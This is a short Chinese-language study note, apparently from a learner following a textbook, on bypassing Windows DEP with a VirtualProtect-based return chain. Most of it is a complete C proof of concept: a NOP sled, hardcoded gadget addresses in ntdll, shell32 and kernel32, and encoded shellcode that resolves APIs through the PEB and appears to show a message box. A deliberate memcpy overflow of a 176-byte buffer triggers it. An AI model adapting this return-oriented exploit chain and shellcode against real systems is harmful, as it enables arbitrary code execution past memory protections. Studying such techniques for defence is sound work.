首先 WINDOWS 2003 是默认开启DEP的 一般都拿2003来做试验
今天我用 XP 开启DEP 做实验 一回事
·······················································
只是学习笔记·····································另外的方法:
Ret2libc NtSetInformationProcess 去关闭DEP
BOOL VirtualProtect( LPVOID lpAddress, // 目标地址起始位置 *shellcode所在内存空间起始地址 DWORD dwSize, // 大小 *shellcode大小 DWORD flNewProtect, // 请求的保护方式 *0x40 PAGE_EXECUTE_READWRITE PDWORD lpflOldProtect // 保存老的保护方式 *某个可写地址 );成功返回非0 修改失败返回0
先总结:
首先 一般都是覆盖 返回地址,因为 软 DEP 也就是 SAFESEH 那么要用 可执行的模块!!!!!!!
!searchcode jmp esp 可以显示 模块属性 DEP寻找特殊代码时要用!!!!!!!!!!!!!!!
书上的例子 是覆盖返回地址 然后 溢出漏洞函数 从 strcpy 改为 memcpy 函数 ,因为它对 "\x00"不截断
#include "stdafx.h" #include <windows.h> char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // PS 这种方法不能用OD插件快速找到地址,可用 !searchcode jmp esp //7C80997D 58 pop eax ret "\x7d\x99\x80\x7c" //地址=7C92E7D9 //消息=Found:POP ESI POP EBX POP EDI RETN at 0x7c92e7d9 Module: C:\WINDOWS\system32\ntdll.dll "\xd9\xe7\x92\x7c"//这里不能修改 ESP,EBP,EAX //地址=7D760702 //消息=Found:PUSH ESP POP EBP RET 4 at 0x7d760702 Module: C:\WINDOWS\system32\shell32.dll "\x02\x07\x76\x7d" //7C92120F C3 retn "\x0f\x12\x92\x7c" "\x90\x90\x90\x90" "\xc6\xc6\xeb\x77"//77EBC6C6 push esp jmp esp "\xff\x00\x00\x00" //修改内存大小 "\x40\x00\x00\x00" //可读写执行内存属性代码 "\xc6\xc6\xeb\x77"//77EBC6C6 push esp jmp eax "\x90\x90\x90\x90" "\x90\x90\x90\x90" /* 7C801AD9 FF75 14 push dword ptr ss:[ebp+0x14] 7C801ADC FF75 10 push dword ptr ss:[ebp+0x10] 7C801ADF FF75 0C push dword ptr ss:[ebp+0xC] 7C801AE2 FF75 08 push dword ptr ss:[ebp+0x8] 7C801AE5 6A FF push -0x1 7C801AE7 E8 75FFFFFF call kernel32.VirtualProtectEx */ "\xd9\x1a\x80\x7c" "\x90\x90\x90\x90" //7C8369F0 FFD4 call esp "\xf0\x69\x83\x7c" "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90" //shellcode: "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53" "\x68\x64\x61\x30\x23" "\x68\x23\x50\x61\x6E" "\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8";//168 ; void test() { char str[176]; memcpy(str,shellcode,420); } int main(int argc, char* argv[]) { HINSTANCE hTnst = LoadLibrary("shell32.dll"); char temp[200]; test(); return 0; }
这种方法不好用啊 看看能不能突破······························因为strcpy要截断字符